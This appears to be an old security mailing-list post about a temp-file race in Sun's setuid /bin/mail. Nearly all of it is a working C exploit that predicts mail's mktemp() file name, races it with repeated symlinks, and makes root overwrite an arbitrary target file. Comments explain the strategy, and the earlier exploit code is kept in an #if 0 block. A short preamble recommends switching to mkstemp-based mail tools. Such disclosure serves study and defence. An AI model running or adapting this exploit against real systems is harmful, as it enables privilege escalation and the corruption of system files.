Here's what I would consider a "real" bug report. I don't have a fix handy, other than suggesting that one overwrite Sun's /bin/mail crock with a militrary-grade erase pattern, burn any backup tapes it is on, and replace it with something like the bsd44 "mail.local" or "deliver" or similar things that are much better written, using mkstemp(), fchown/fchmod, and such. This should get you thinking [again!] about *anything* that runs setuid and calls the old mktemp. [Hey aleph, does this up the usefulness percentage?] _H* ==================== /* Improved version of recent mktemp-bashing mailrace. Doesn't come with a script; you get to figure it out. _H*/ #define TARGET "/etc/fuckme" #include <stdio.h> #include <unistd.h> #include <stdlib.h> int main(ac,av) int ac; char **av; { unsigned int pid,bpid; /* Some machines don't have pid_t */ int i; char target[13]; if (ac == 1) exit (1); /* "initialize, dammit" */ memset (target, 0, 13); /* some binmails use /tmp/maXXXXX, not maaXXXX. Try taking a copy of /bin/mail and tracing it, to see what's actually using. */ strcpy (target,"/tmp/maa"); /* either this or "/tmp/ma" */ /* General format for binmail temp names */ if ((pid = fork())==0) { sleep (1); nice (19); /* Increase our chances and ... */ #ifdef DEBUG /* This was kinda fun to play with, and read the traces from both the invocation and the forked-off mail. */ execl ("/bin/trace","trace","-o","yyy","./mail","-e",0); #else execl ("/bin/mail","mail","-e",0); /* Fork binmail */ #endif } #ifdef DEBUG /* trace will fork again. This may not work on a busy system! */ pid++; #endif bpid=pid; /* back up our pid for a later time */ for (i=11;i>=8;i--) { /* either this or >= 7 */ target[i]=(pid%10) + '0'; /* Make the name for the tempfile */ pid /= 10; } /* Explanation of improved strategy, so we all understand this... Mail starts off very early by doing a mktemp() to make a temp file name. We meanwhile have ponied up this same name because we know the pid of the process and how mktemp() works. We both arrive at /tmp/ma01234, say. This file must NOT exist for mail's mktemp() to come up with the same name; this is where the race really is. The chances are probably about 50-50 that mail's mktemp will not see the file present and hand back the same name. Mail tries to delete /tmp/ma01234 in case it was somehow there already -- probably a primitive attempt to evade symlink-hacks. [Can *you* envision a day when it went blindly ahead and opened the file? I can...] Meanwhile, we are spinning in a loop, unlinking and symlinking and unlinking and symlinking to our real target, waiting for unlink [as opposed to link] to fail. The trick is that if *mail* deletes the symlink we created, we know [because *our* unlink() returns -1] and from then on, we're golden, because mail shortly thereafter fopens the tmp file [still as root, and withOUT checking again!] and copies /usr/spool/mail/me in its entirety into the target. I added "-e" to the mail flags, which causes it to exit with a status right after doing the above copy with no further ado. Obviously if we're successful, the target file is created and/or overwritten, with our umask, yet... */ symlink (av[1], target); while (! unlink (target)) symlink (av[1], target); /* as soon as unlink fails, that means that mail did it. Reinstall it and wait for mail to do the dirty.. */ symlink (av[1], target); sleep (3); printf ("Tmp file wound up being %s\n", target); unlink (target); exit (0); /* If it never exits, that means you missed, and mail is using some other temp file name. ^C out and clean up after yourself. */ #if 0 The original code is presented here for posterity. From studying the recently posted Sun binmail source, I'm not sure why this code worked at all; it is almost less reliable. Would the original authors care to explain their reasoning as I did above, and describe precisely where they're inserting their crowbar?? while (!symlink(TARGET,target)) unlink (target); /* Point that mktemp()'d file to the pot of gold */ while (symlink(TARGET,target)) unlink (target); /* Probably not necessary, but what the heck */ kill(bpid,1); /* Clean up, don't want to lag the system */ #endif }